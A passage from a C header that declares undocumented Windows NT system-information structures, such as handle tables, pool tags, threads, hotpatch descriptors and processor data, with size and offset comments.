    FLG_ENABLE_HANDLE_TYPE_TAGGING=0x01000000,
    FLG_HEAP_PAGE_ALLOCS=0x02000000,
    FLG_POOL_ENABLE_TAGGING=0x00000400,
    FLG_ENABLE_SYSTEM_CRIT_BREAKS=0x00100000,
    FLG_MAINTAIN_OBJECT_TYPELIST=0x00004000,
    FLG_MONITOR_SILENT_PROCESS_EXIT=0x00000200,
    FLG_SHOW_LDR_SNAPS=0x00000002,
    FLG_STOP_ON_EXCEPTION=0x00000001,
    FLG_STOP_ON_HUNG_GUI=0x00000008
} SYSTEM_GLOBAL_FLAGS;

struct _SYSTEM_FLAGS_INFORMATION // Size=4
{
    SYSTEM_GLOBAL_FLAGS Flags; // Size=4 Offset=0
};

struct _SYSTEM_CALL_TIME_INFORMATION // Size=16
{
    ULONG Length; // Size=4 Offset=0
    ULONG TotalCalls; // Size=4 Offset=4
    LARGE_INTEGER TimeOfCalls[1]; // Size=8 Offset=8
};

typedef struct _SYSTEM_MODULE // Size=280
{
    USHORT Reserved1; // Size=2 Offset=0
    USHORT Reserved2; // Size=2 Offset=2
    ULONG ImageBaseAddress; // Size=4 Offset=4
    ULONG ImageSize; // Size=4 Offset=8
    ULONG Flags; // Size=4 Offset=12
    USHORT Index; // Size=2 Offset=16
    USHORT Rank; // Size=2 Offset=18
    USHORT LoadCount; // Size=2 Offset=20
    USHORT NameOffset; // Size=2 Offset=22
    UCHAR Name[256]; // Size=256 Offset=24
} SYSTEM_MODULE;

struct _SYSTEM_MODULE_INFORMATION // Size=284
{
    ULONG Count; // Size=4 Offset=0
    SYSTEM_MODULE Modules[1]; // Size=280 Offset=4
};

typedef struct _SYSTEM_LOCK // Size=36
{
    PVOID Address; // Size=4 Offset=0
    USHORT Type; // Size=2 Offset=4
    USHORT Reserved1; // Size=2 Offset=6
    ULONG ExclusiveOwnerThreadId; // Size=4 Offset=8
    ULONG ActiveCount; // Size=4 Offset=12
    ULONG ContentionCount; // Size=4 Offset=16
    ULONG Reserved2[2]; // Size=8 Offset=20
    ULONG NumberOfSharedWaiters; // Size=4 Offset=28
    ULONG NumberOfExclusiveWaiters; // Size=4 Offset=32
} SYSTEM_LOCK;

struct _SYSTEM_LOCK_INFORMATION // Size=40
{
    ULONG Count; // Size=4 Offset=0
    SYSTEM_LOCK Locks[1]; // Size=36 Offset=4
};

typedef enum _SYSTEM_HANDLE_FLAGS
{
    PROTECT_FROM_CLOSE=1,
    INHERIT=2
} SYSTEM_HANDLE_FLAGS;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO // Size=16
{
    USHORT UniqueProcessId; // Size=2 Offset=0
    USHORT CreatorBackTraceIndex; // Size=2 Offset=2
    UCHAR ObjectTypeIndex; // Size=1 Offset=4
    SYSTEM_HANDLE_FLAGS HandleAttributes; // Size=1 Offset=5
    USHORT HandleValue; // Size=2 Offset=6
    PVOID Object; // Size=4 Offset=8
    ULONG GrantedAccess; // Size=4 Offset=12
} SYSTEM_HANDLE_TABLE_ENTRY_INFO;

struct _SYSTEM_HANDLE_INFORMATION // Size=20
{
    ULONG NumberOfHandles; // Size=4 Offset=0
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; // Size=16 Offset=4
};

struct _SYSTEM_OBJECTTYPE_INFORMATION // Size=56
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG NumberOfObjects; // Size=4 Offset=4
    ULONG NumberOfHandles; // Size=4 Offset=8
    ULONG TypeIndex; // Size=4 Offset=12
    ULONG InvalidAttributes; // Size=4 Offset=16
    GENERIC_MAPPING GenericMapping; // Size=16 Offset=20
    ULONG ValidAccessMask; // Size=4 Offset=36
    ULONG PoolType; // Size=4 Offset=40
    UCHAR SecurityRequired; // Size=1 Offset=44
    UCHAR WaitableObject; // Size=1 Offset=45
    UNICODE_STRING TypeName; // Size=8 Offset=48
};

typedef struct _OBJECT_NAME_INFORMATION // Size=8
{
    UNICODE_STRING Name; // Size=8 Offset=0
} OBJECT_NAME_INFORMATION;

struct _SYSTEM_OBJECT_INFORMATION // Size=48
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    PVOID Object; // Size=4 Offset=4
    PVOID CreatorUniqueProcess; // Size=4 Offset=8
    USHORT CreatorBackTraceIndex; // Size=2 Offset=12
    USHORT Flags; // Size=2 Offset=14
    LONG PointerCount; // Size=4 Offset=16
    LONG HandleCount; // Size=4 Offset=20
    ULONG PagedPoolCharge; // Size=4 Offset=24
    ULONG NonPagedPoolCharge; // Size=4 Offset=28
    PVOID ExclusiveProcessId; // Size=4 Offset=32
    PVOID SecurityDescriptor; // Size=4 Offset=36
    OBJECT_NAME_INFORMATION NameInfo; // Size=8 Offset=40
};

struct _SYSTEM_PAGEFILE_INFORMATION // Size=24
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG TotalSize; // Size=4 Offset=4
    ULONG TotalInUse; // Size=4 Offset=8
    ULONG PeakUsage; // Size=4 Offset=12
    UNICODE_STRING PageFileName; // Size=8 Offset=16
};

struct _SYSTEM_VDM_INSTEMUL_INFO // Size=136
{
    ULONG SegmentNotPresent; // Size=4 Offset=0
    ULONG VdmOpcode0F; // Size=4 Offset=4
    ULONG OpcodeESPrefix; // Size=4 Offset=8
    ULONG OpcodeCSPrefix; // Size=4 Offset=12
    ULONG OpcodeSSPrefix; // Size=4 Offset=16
    ULONG OpcodeDSPrefix; // Size=4 Offset=20
    ULONG OpcodeFSPrefix; // Size=4 Offset=24
    ULONG OpcodeGSPrefix; // Size=4 Offset=28
    ULONG OpcodeOPER32Prefix; // Size=4 Offset=32
    ULONG OpcodeADDR32Prefix; // Size=4 Offset=36
    ULONG OpcodeINSB; // Size=4 Offset=40
    ULONG OpcodeINSW; // Size=4 Offset=44
    ULONG OpcodeOUTSB; // Size=4 Offset=48
    ULONG OpcodeOUTSW; // Size=4 Offset=52
    ULONG OpcodePUSHF; // Size=4 Offset=56
    ULONG OpcodePOPF; // Size=4 Offset=60
    ULONG OpcodeINTnn; // Size=4 Offset=64
    ULONG OpcodeINTO; // Size=4 Offset=68
    ULONG OpcodeIRET; // Size=4 Offset=72
    ULONG OpcodeINBimm; // Size=4 Offset=76
    ULONG OpcodeINWimm; // Size=4 Offset=80
    ULONG OpcodeOUTBimm; // Size=4 Offset=84
    ULONG OpcodeOUTWimm; // Size=4 Offset=88
    ULONG OpcodeINB; // Size=4 Offset=92
    ULONG OpcodeINW; // Size=4 Offset=96
    ULONG OpcodeOUTB; // Size=4 Offset=100
    ULONG OpcodeOUTW; // Size=4 Offset=104
    ULONG OpcodeLOCKPrefix; // Size=4 Offset=108
    ULONG OpcodeREPNEPrefix; // Size=4 Offset=112
    ULONG OpcodeREPPrefix; // Size=4 Offset=116
    ULONG OpcodeHLT; // Size=4 Offset=120
    ULONG OpcodeCLI; // Size=4 Offset=124
    ULONG OpcodeSTI; // Size=4 Offset=128
    ULONG BopCount; // Size=4 Offset=132
};

struct _SYSTEM_FILECACHE_INFORMATION // Size=36
{
    ULONG CurrentSize; // Size=4 Offset=0
    ULONG PeakSize; // Size=4 Offset=4
    ULONG PageFaultCount; // Size=4 Offset=8
    ULONG MinimumWorkingSet; // Size=4 Offset=12
    ULONG MaximumWorkingSet; // Size=4 Offset=16
    ULONG CurrentSizeIncludingTransitionInPages; // Size=4 Offset=20
    ULONG PeakSizeIncludingTransitionInPages; // Size=4 Offset=24
    ULONG TransitionRePurposeCount; // Size=4 Offset=28
    ULONG Flags; // Size=4 Offset=32
};

typedef struct _SYSTEM_POOLTAG // Size=28
{
    UCHAR Tag[4]; // Size=4 Offset=0
    ULONG PagedAllocs; // Size=4 Offset=4
    ULONG PagedFrees; // Size=4 Offset=8
    ULONG PagedUsed; // Size=4 Offset=12
    ULONG NonPagedAllocs; // Size=4 Offset=16
    ULONG NonPagedFrees; // Size=4 Offset=20
    ULONG NonPagedUsed; // Size=4 Offset=24
} SYSTEM_POOLTAG;

struct _SYSTEM_POOLTAG_INFORMATION // Size=32
{
    ULONG Count; // Size=4 Offset=0
    SYSTEM_POOLTAG TagInfo[1]; // Size=28 Offset=4
};

struct _SYSTEM_INTERRUPT_INFORMATION // Size=24
{
    ULONG ContextSwitches; // Size=4 Offset=0
    ULONG DpcCount; // Size=4 Offset=4
    ULONG DpcRate; // Size=4 Offset=8
    ULONG TimeIncrement; // Size=4 Offset=12
    ULONG DpcBypassCount; // Size=4 Offset=16
    ULONG ApcBypassCount; // Size=4 Offset=20
};

struct _SYSTEM_DPC_BEHAVIOR_INFORMATION // Size=20
{
    ULONG Spare; // Size=4 Offset=0
    ULONG DpcQueueDepth; // Size=4 Offset=4
    ULONG MinimumDpcRate; // Size=4 Offset=8
    ULONG AdjustDpcThreshold; // Size=4 Offset=12
    ULONG IdealDpcRate; // Size=4 Offset=16
};

typedef struct _IMAGE_EXPORT_DIRECTORY // Size=40
{
    ULONG Characteristics; // Size=4 Offset=0
    ULONG TimeDateStamp; // Size=4 Offset=4
    USHORT MajorVersion; // Size=2 Offset=8
    USHORT MinorVersion; // Size=2 Offset=10
    ULONG Name; // Size=4 Offset=12
    ULONG Base; // Size=4 Offset=16
    ULONG NumberOfFunctions; // Size=4 Offset=20
    ULONG NumberOfNames; // Size=4 Offset=24
    ULONG AddressOfFunctions; // Size=4 Offset=28
    ULONG AddressOfNames; // Size=4 Offset=32
    ULONG AddressOfNameOrdinals; // Size=4 Offset=36
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

struct _SYSTEM_LOADED_GDI_DRIVER_INFORMATION // Size=28
{
    UNICODE_STRING DriverName; // Size=8 Offset=0
    PVOID ImageAddress; // Size=4 Offset=8
    PVOID SectionPointer; // Size=4 Offset=12
    PVOID EntryPoint; // Size=4 Offset=16
    PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; // Size=4 Offset=20
    ULONG ImageLength; // Size=4 Offset=24
};

struct _SYSTEM_UNLOADED_GDI_DRIVER_INFORMATION // Size=28
{
    PVOID ImageAddress; // Size=4 Offset=0
};

struct _SYSTEM_CRASH_DUMP_INFORMATION
{
    HANDLE CrashDumpSectionHandle; // Size=4 Offset=0
};

struct _SYSTEM_EXCEPTION_INFORMATION // Size=16
{
    ULONG AlignmentFixupCount; // Size=4 Offset=0
    ULONG ExceptionDispatchCount; // Size=4 Offset=4
    ULONG FloatingEmulationCount; // Size=4 Offset=8
    ULONG ByteWordEmulationCount; // Size=4 Offset=12
};

typedef enum _SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS
{
    SystemCrashDumpDisable=0,
    SystemCrashDumpReconfigure=1,
    SystemCrashDumpInitializationComplete=2
} SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS;

struct _SYSTEM_CRASH_DUMP_STATE_INFORMATION // Size=4
{
    SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS CrashDumpConfigurationClass; // Size=4 Offset=0
};

struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION // Size=2
{
    UCHAR KernelDebuggerEnabled; // Size=1 Offset=0
    UCHAR KernelDebuggerNotPresent; // Size=1 Offset=1
};

struct _SYSTEM_PRIORITY_SEPARATION
{
    ULONG PrioritySeparation; // Size=4 Offset=0
};

typedef struct _SYSTEMTIME {
    WORD wYear; // Size=2 Offset=0
    WORD wMonth; // Size=2 Offset=2
    WORD wDayOfWeek; // Size=2 Offset=4
    WORD wDay; // Size=2 Offset=6
    WORD wHour; // Size=2 Offset=8
    WORD wMinute; // Size=2 Offset=10
    WORD wSecond; // Size=2 Offset=12
    WORD wMilliseconds; // Size=2 Offset=14
} SYSTEMTIME;

struct _SYSTEM_TIME_ZONE_INFORMATION
{
    LONG Bias;
    WCHAR StandardName[32];
    SYSTEMTIME StandardDate;
    LONG StandardBias;
    WCHAR DaylightName[32];
    SYSTEMTIME DaylightDate;
    LONG DaylightBias;
};

struct _SYSTEM_CONTEXT_SWITCH_INFORMATION // Size=48
{
    ULONG ContextSwitches; // Size=4 Offset=0
    ULONG FindAny; // Size=4 Offset=4
    ULONG FindLast; // Size=4 Offset=8
    ULONG FindIdeal; // Size=4 Offset=12
    ULONG IdleAny; // Size=4 Offset=16
    ULONG IdleCurrent; // Size=4 Offset=20
    ULONG IdleLast; // Size=4 Offset=24
    ULONG IdleIdeal; // Size=4 Offset=28
    ULONG PreemptAny; // Size=4 Offset=32
    ULONG PreemptCurrent; // Size=4 Offset=36
    ULONG PreemptLast; // Size=4 Offset=40
    ULONG SwitchToIdle; // Size=4 Offset=44
};

struct _SYSTEM_REGISTRY_QUOTA_INFORMATION // Size=12
{
    ULONG RegistryQuotaAllowed; // Size=4 Offset=0
    ULONG RegistryQuotaUsed; // Size=4 Offset=4
    ULONG PagedPoolSize; // Size=4 Offset=8
};

struct _SYSTEM_PROCESSOR_IDLE_INFORMATION // Size=48
{
    ULONGLONG IdleTime; // Size=8 Offset=0
    ULONGLONG C1Time; // Size=8 Offset=8
    ULONGLONG C2Time; // Size=8 Offset=16
    ULONGLONG C3Time; // Size=8 Offset=24
    ULONG C1Transitions; // Size=4 Offset=32
    ULONG C2Transitions; // Size=4 Offset=36
    ULONG C3Transitions; // Size=4 Offset=40
    ULONG Padding; // Size=4 Offset=44
};

struct _SYSTEM_LEGACY_DRIVER_INFORMATION // Size=12
{
    ULONG VetoType; // Size=4 Offset=0
    UNICODE_STRING VetoList; // Size=8 Offset=4
};

typedef enum _POOL_TYPE { 
    NonPagedPool,
    NonPagedPoolExecute                   = NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed               = NonPagedPool + 2,
    DontUseThisType,
    NonPagedPoolCacheAligned              = NonPagedPool + 4,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS         = NonPagedPool + 6,
    MaxPoolType,
    NonPagedPoolBase                      = 0,
    NonPagedPoolBaseMustSucceed           = NonPagedPoolBase + 2,
    NonPagedPoolBaseCacheAligned          = NonPagedPoolBase + 4,
    NonPagedPoolBaseCacheAlignedMustS     = NonPagedPoolBase + 6,
    NonPagedPoolSession                   = 32,
    PagedPoolSession                      = NonPagedPoolSession + 1,
    NonPagedPoolMustSucceedSession        = PagedPoolSession + 1,
    DontUseThisTypeSession                = NonPagedPoolMustSucceedSession + 1,
    NonPagedPoolCacheAlignedSession       = DontUseThisTypeSession + 1,
    PagedPoolCacheAlignedSession          = NonPagedPoolCacheAlignedSession + 1,
    NonPagedPoolCacheAlignedMustSSession  = PagedPoolCacheAlignedSession + 1,
    NonPagedPoolNx                        = 512,
    NonPagedPoolNxCacheAligned            = NonPagedPoolNx + 4,
    NonPagedPoolSessionNx                 = NonPagedPoolNx + 32
} POOL_TYPE;

struct _SYSTEM_LOOKASIDE_INFORMATION // Size=32
{
    USHORT CurrentDepth; // Size=2 Offset=0
    USHORT MaximumDepth; // Size=2 Offset=2
    ULONG TotalAllocates; // Size=4 Offset=4
    ULONG AllocateMisses; // Size=4 Offset=8
    ULONG TotalFrees; // Size=4 Offset=12
    ULONG FreeMisses; // Size=4 Offset=16
    POOL_TYPE Type; // Size=4 Offset=20
    ULONG Tag; // Size=4 Offset=24
    ULONG Size; // Size=4 Offset=28
};

struct _SYSTEM_SET_TIME_SLIP_EVENT
{
    HANDLE TimeSlipEvent;
};

struct _SYSTEM_SESSION
{
    ULONG SessionId;
};

struct _SYSTEM_RANGE_START_INFORMATION
{
    PVOID SystemRangeStart;
};

typedef struct _SYSTEM_VERIFIER_INFORMATION // Size=104
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG Level; // Size=4 Offset=4
    UNICODE_STRING DriverName; // Size=8 Offset=8
    ULONG RaiseIrqls; // Size=4 Offset=16
    ULONG AcquireSpinLocks; // Size=4 Offset=20
    ULONG SynchronizeExecutions; // Size=4 Offset=24
    ULONG AllocationsAttempted; // Size=4 Offset=28
    ULONG AllocationsSucceeded; // Size=4 Offset=32
    ULONG AllocationsSucceededSpecialPool; // Size=4 Offset=36
    ULONG AllocationsWithNoTag; // Size=4 Offset=40
    ULONG TrimRequests; // Size=4 Offset=44
    ULONG Trims; // Size=4 Offset=48
    ULONG AllocationsFailed; // Size=4 Offset=52
    ULONG AllocationsFailedDeliberately; // Size=4 Offset=56
    ULONG Loads; // Size=4 Offset=60
    ULONG Unloads; // Size=4 Offset=64
    ULONG UnTrackedPool; // Size=4 Offset=68
    ULONG CurrentPagedPoolAllocations; // Size=4 Offset=72
    ULONG CurrentNonPagedPoolAllocations; // Size=4 Offset=76
    ULONG PeakPagedPoolAllocations; // Size=4 Offset=80
    ULONG PeakNonPagedPoolAllocations; // Size=4 Offset=84
    ULONG PagedPoolUsageInBytes; // Size=4 Offset=88
    ULONG NonPagedPoolUsageInBytes; // Size=4 Offset=92
    ULONG PeakPagedPoolUsageInBytes; // Size=4 Offset=96
    ULONG PeakNonPagedPoolUsageInBytes; // Size=4 Offset=100
} SYSTEM_VERIFIER_INFORMATION;

struct _SYSTEM_SESSION_PROCESS_INFORMATION // Size=12
{
    ULONG SessionId; // Size=4 Offset=0
    ULONG SizeOfBuf; // Size=4 Offset=4
    PVOID Buffer; // Size=4 Offset=8
};

typedef struct _SYSTEM_POOL_BLOCK
{
    BOOLEAN Allocated;
    USHORT Unknown;
    ULONG Size;
    CHAR Tag[4];
} SYSTEM_POOL_BLOCK;

struct _SYSTEM_POOL_BLOCKS_INFORMATION
{
    ULONG PoolSize;
    PVOID PoolBase;
    USHORT PoolAlignment;
    ULONG NumberOfBlocks;
    SYSTEM_POOL_BLOCK PoolBlocks[1];
};

typedef struct _SYSTEM_MEMORY_USAGE
{
    PVOID Name;
    USHORT Valid;
    USHORT Standby;
    USHORT Modified;
    USHORT PageTables;
} SYSTEM_MEMORY_USAGE;

struct _SYSTEM_MEMORY_USAGE_INFORMATION
{
    ULONG Reserved;
    PVOID EndOfData;
    SYSTEM_MEMORY_USAGE MemoryUsage[1];
};

typedef struct _CLIENT_ID // Size=8
{
    PVOID UniqueProcess; // Size=4 Offset=0
    PVOID UniqueThread; // Size=4 Offset=4
} CLIENT_ID;

typedef struct _SYSTEM_THREAD_INFORMATION // Size=64
{
    LARGE_INTEGER KernelTime; // Size=8 Offset=0
    LARGE_INTEGER UserTime; // Size=8 Offset=8
    LARGE_INTEGER CreateTime; // Size=8 Offset=16
    ULONG WaitTime; // Size=4 Offset=24
    PVOID StartAddress; // Size=4 Offset=28
    CLIENT_ID ClientId; // Size=8 Offset=32
    LONG Priority; // Size=4 Offset=40
    LONG BasePriority; // Size=4 Offset=44
    ULONG ContextSwitches; // Size=4 Offset=48
    ULONG ThreadState; // Size=4 Offset=52
    ULONG WaitReason; // Size=4 Offset=56
} SYSTEM_THREAD_INFORMATION;

typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION // Size=96
{
    SYSTEM_THREAD_INFORMATION ThreadInfo; // Size=64 Offset=0
    PVOID StackBase; // Size=4 Offset=64
    PVOID StackLimit; // Size=4 Offset=68
    PVOID Win32StartAddress; // Size=4 Offset=72
    PVOID TebBase; // Size=4 Offset=76
    ULONG Reserved2; // Size=4 Offset=80
    ULONG Reserved3; // Size=4 Offset=84
    ULONG Reserved4; // Size=4 Offset=88
} SYSTEM_EXTENDED_THREAD_INFORMATION;

// I have not validated this structure
struct _SYSTEM_EXTENDED_PROCESS_INFORMATION
{
    SYSTEM_PROCESS_INFORMATION ProcessInfo;
    SYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo;
};

struct _SYSTEM_PROCESSOR_POWER_INFORMATION // Size=72
{
    UCHAR CurrentFrequency; // Size=1 Offset=0
    UCHAR ThermalLimitFrequency; // Size=1 Offset=1
    UCHAR ConstantThrottleFrequency; // Size=1 Offset=2
    UCHAR DegradedThrottleFrequency; // Size=1 Offset=3
    UCHAR LastBusyFrequency; // Size=1 Offset=4
    UCHAR LastC3Frequency; // Size=1 Offset=5
    UCHAR LastAdjustedBusyFrequency; // Size=1 Offset=6
    UCHAR ProcessorMinThrottle; // Size=1 Offset=7
    UCHAR ProcessorMaxThrottle; // Size=1 Offset=8
    ULONG NumberOfFrequencies; // Size=4 Offset=12
    ULONG PromotionCount; // Size=4 Offset=16
    ULONG DemotionCount; // Size=4 Offset=20
    ULONG ErrorCount; // Size=4 Offset=24
    ULONG RetryCount; // Size=4 Offset=28
    ULONGLONG CurrentFrequencyTime; // Size=8 Offset=32
    ULONGLONG CurrentProcessorTime; // Size=8 Offset=40
    ULONGLONG CurrentProcessorIdleTime; // Size=8 Offset=48
    ULONGLONG LastProcessorTime; // Size=8 Offset=56
    ULONGLONG LastProcessorIdleTime; // Size=8 Offset=64
};

struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX // Size=28
{
    PVOID Object; // Size=4 Offset=0
    ULONG UniqueProcessId; // Size=4 Offset=4
    ULONG HandleValue; // Size=4 Offset=8
    ULONG GrantedAccess; // Size=4 Offset=12
    USHORT CreatorBackTraceIndex; // Size=2 Offset=16
    USHORT ObjectTypeIndex; // Size=2 Offset=18
    ULONG HandleAttributes; // Size=4 Offset=20
    ULONG Reserved; // Size=4 Offset=24
};

struct _SYSTEM_HANDLE_INFORMATION_EX // Size=36
{
    ULONG NumberOfHandles; // Size=4 Offset=0
    ULONG Reserved; // Size=4 Offset=4
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; // Size=36 Offset=8
};

typedef struct _SYSTEM_BIGPOOL_ENTRY // Size=12
{
    PVOID VirtualAddress; // Size=4 Offset=0
    ULONG SizeInBytes; // Size=4 Offset=4
    UCHAR Tag[4]; // Size=4 Offset=8
} SYSTEM_BIGPOOL_ENTRY;

struct _SYSTEM_BIGPOOL_INFORMATION // Size=16
{
    ULONG Count; // Size=4 Offset=0
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; // Size=12 Offset=4
};

struct _SYSTEM_SESSION_POOLTAG_INFORMATION // Size=40
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG SessionId; // Size=4 Offset=4
    ULONG Count; // Size=4 Offset=8
    SYSTEM_POOLTAG TagInfo[1]; // Size=28 Offset=12
};

struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION // Size=20
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG SessionId; // Size=4 Offset=4
    ULONG ViewFailures; // Size=4 Offset=8
    ULONG NumberOfBytesAvailable; // Size=4 Offset=12
    ULONG NumberOfBytesAvailableContiguous; // Size=4 Offset=16
};

typedef struct _HOTPATCH_HOOK_DESCRIPTOR // Size=40
{
    ULONGLONG TargetAddress; // Size=8 Offset=0
    ULONGLONG MappedAddress; // Size=8 Offset=8
    ULONG CodeOffset; // Size=4 Offset=16
    ULONG CodeSize; // Size=4 Offset=20
    ULONG OrigCodeOffset; // Size=4 Offset=24
    ULONG ValidationOffset; // Size=4 Offset=28
    ULONG ValidationSize; // Size=4 Offset=32
} HOTPATCH_HOOK_DESCRIPTOR;

struct _SYSTEM_HOTPATCH_CODE_INFORMATION_KERNEL_INFO // Size=4
{
    USHORT NameOffset; // Size=2 Offset=0
    USHORT NameLength; // Size=2 Offset=2
};

struct _SYSTEM_HOTPATCH_CODE_INFORMATION_USERMODE_INFO // Size=14
{
    USHORT NameOffset; // Size=2 Offset=0
    USHORT NameLength; // Size=2 Offset=2
    USHORT TargetNameOffset; // Size=2 Offset=4
    USHORT TargetNameLength; // Size=2 Offset=6
    USHORT ColdpatchImagePathOffset; // Size=2 Offset=8
    USHORT ColdpatchImagePathLength; // Size=2 Offset=10
    UCHAR PatchingFinished; // Size=1 Offset=12
};

struct _SYSTEM_HOTPATCH_CODE_INFORMATION_INJECTION_INFO // Size=24
{
    USHORT NameOffset; // Size=2 Offset=0
    USHORT NameLength; // Size=2 Offset=2
    USHORT TargetNameOffset; // Size=2 Offset=4
    USHORT TargetNameLength; // Size=2 Offset=6
    USHORT ColdpatchImagePathOffset; // Size=2 Offset=8
    USHORT ColdpatchImagePathLength; // Size=2 Offset=10
    ULONGLONG TargetProcess; // Size=8 Offset=16
};

struct _SYSTEM_HOTPATCH_CODE_INFORMATION_ATOMIC_SWAP // Size=24
{
    ULONGLONG ParentDirectory; // Size=8 Offset=0
    ULONGLONG ObjectHandle1; // Size=8 Offset=8
    ULONGLONG ObjectHandle2; // Size=8 Offset=16
};

struct _SYSTEM_HOTPATCH_CODE_INFORMATION_CODE_INFO // Size=48
{
    ULONG DescriptorsCount; // Size=4 Offset=0
    HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // Size=40 Offset=8
};

typedef enum _WATCHDOG_INFORMATION_CLASS
{
    WdInfoTimeoutValue=0,
    WdInfoResetTimer=1,
    WdInfoStopTimer=2,
    WdInfoStartTimer=3,
    WdInfoTriggerAction=4,
    WdInfoState=5
} WATCHDOG_INFORMATION_CLASS;

struct _SYSTEM_WATCHDOG_TIMER_INFORMATION // Size=8
{
    WATCHDOG_INFORMATION_CLASS WdInfoClass; // Size=4 Offset=0
    ULONG DataValue; // Size=4 Offset=4
};

struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_PROCESSOR_CORE // Size=1
{
    UCHAR Flags; // Size=1 Offset=0
};

struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_NUMA_CODE // Size=4
{
    ULONG NodeNumber; // Size=4 Offset=0
};

typedef enum _PROCESSOR_CACHE_TYPE
{
    CacheUnified=0,
    CacheInstruction=1,
    CacheData=2,
    CacheTrace=3
} PROCESSOR_CACHE_TYPE;

typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP
{
    RelationProcessorCore=0,
    RelationNumaNode=1,
    RelationCache=2,
    RelationProcessorPackage=3,
    RelationGroup=4,
    RelationAll=65535
} LOGICAL_PROCESSOR_RELATIONSHIP;

struct _CACHE_DESCRIPTOR // Size=12
{
    UCHAR Level; // Size=1 Offset=0
    UCHAR Associativity; // Size=1 Offset=1
    USHORT LineSize; // Size=2 Offset=2
    ULONG Size; // Size=4 Offset=4
    PROCESSOR_CACHE_TYPE Type; // Size=4 Offset=8
};

struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION // Size=24
{
    ULONG ProcessorMask; // Size=4 Offset=0
    LOGICAL_PROCESSOR_RELATIONSHIP Relationship; // Size=4 Offset=4
    union
    {
        _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_PROCESSOR_CORE; // Size=1 Offset=8
        _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_NUMA_CODE NumaNode; // Size=4 Offset=8
        _CACHE_DESCRIPTOR Cache; // Size=12 Offset=8
        ULONGLONG Reserved[2]; // Size=16 Offset=8
    };
};

typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION
{
    SystemFirmwareTable_Enumerate=0,
    SystemFirmwareTable_Get=1
} SYSTEM_FIRMWARE_TABLE_ACTION;

struct _SYSTEM_FIRMWARE_TABLE_INFORMATION // Size=20
{
    ULONG ProviderSignature; // Size=4 Offset=0
    SYSTEM_FIRMWARE_TABLE_ACTION Action; // Size=4 Offset=4
    ULONG TableID; // Size=4 Offset=8
    ULONG TableBufferLength; // Size=4 Offset=12
    UCHAR TableBuffer[1]; // Size=1 Offset=16
};

struct _SYSTEM_VERIFIER_TRIAGE_INFORMATION // Size=544
{
    ULONG ActionTaken; // Size=4 Offset=0
    ULONG CrashData[5]; // Size=20 Offset=4
    ULONG VerifierMode; // Size=4 Offset=24
    ULONG VerifierFlags; // Size=4 Offset=28
    WCHAR VerifierTargets[256]; // Size=512 Offset=32
};

struct _SYSTEM_MEMORY_LIST_INFORMATION // Size=88
{
    ULONG ZeroPageCount; // Size=4 Offset=0
    ULONG FreePageCount; // Size=4 Offset=4
    ULONG ModifiedPageCount; // Size=4 Offset=8
    ULONG ModifiedNoWritePageCount; // Size=4 Offset=12
    ULONG BadPageCount; // Size=4 Offset=16
    ULONG PageCountByPriority[8]; // Size=32 Offset=20
    ULONG RepurposedPagesByPriority[8]; // Size=32 Offset=52
    ULONG ModifiedPageCountPageFile; // Size=4 Offset=84
};

struct _SYSTEM_THREAD_CID_PRIORITY_INFORMATION // Size=12
{
    CLIENT_ID ClientId; // Size=8 Offset=0
    LONG Priority; // Size=4 Offset=8
};

struct _SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION // Size=8
{
    ULONGLONG CycleTime; // Size=8 Offset=0
};

typedef struct _SYSTEM_VERIFIER_ISSUE // Size=16
{
    ULONG IssueType; // Size=4 Offset=0
    PVOID Address; // Size=4 Offset=4
    ULONG Parameters[2]; // Size=8 Offset=8
} SYSTEM_VERIFIER_ISSUE;

struct _SYSTEM_VERIFIER_CANCELLATION_INFORMATION // Size=2068
{
    ULONG CancelProbability; // Size=4 Offset=0
    ULONG CancelThreshold; // Size=4 Offset=4
    ULONG CompletionThreshold; // Size=4 Offset=8
    ULONG CancellationVerifierDisabled; // Size=4 Offset=12
    ULONG AvailableIssues; // Size=4 Offset=16
    SYSTEM_VERIFIER_ISSUE Issues[128]; // Size=2048 Offset=20
};

struct _SYSTEM_REF_TRACE_INFORMATION // Size=20
{
    UCHAR TraceEnable; // Size=1 Offset=0
    UCHAR TracePermanent; // Size=1 Offset=1
    UNICODE_STRING TraceProcessName; // Size=8 Offset=4
    UNICODE_STRING TracePoolTags; // Size=8 Offset=12
};

struct _SYSTEM_SPECIAL_POOL_INFORMATION // Size=8
{
    ULONG PoolTag; // Size=4 Offset=0
    ULONG Flags; // Size=4 Offset=4
};

struct _SYSTEM_PROCESS_ID_INFORMATION // Size=12
{
    PVOID ProcessId; // Size=4 Offset=0
    UNICODE_STRING ImageName; // Size=8 Offset=4
};

typedef struct _GUID // Size=16
{
    ULONG Data1; // Size=4 Offset=0
    USHORT Data2; // Size=2 Offset=4
    USHORT Data3; // Size=2 Offset=6
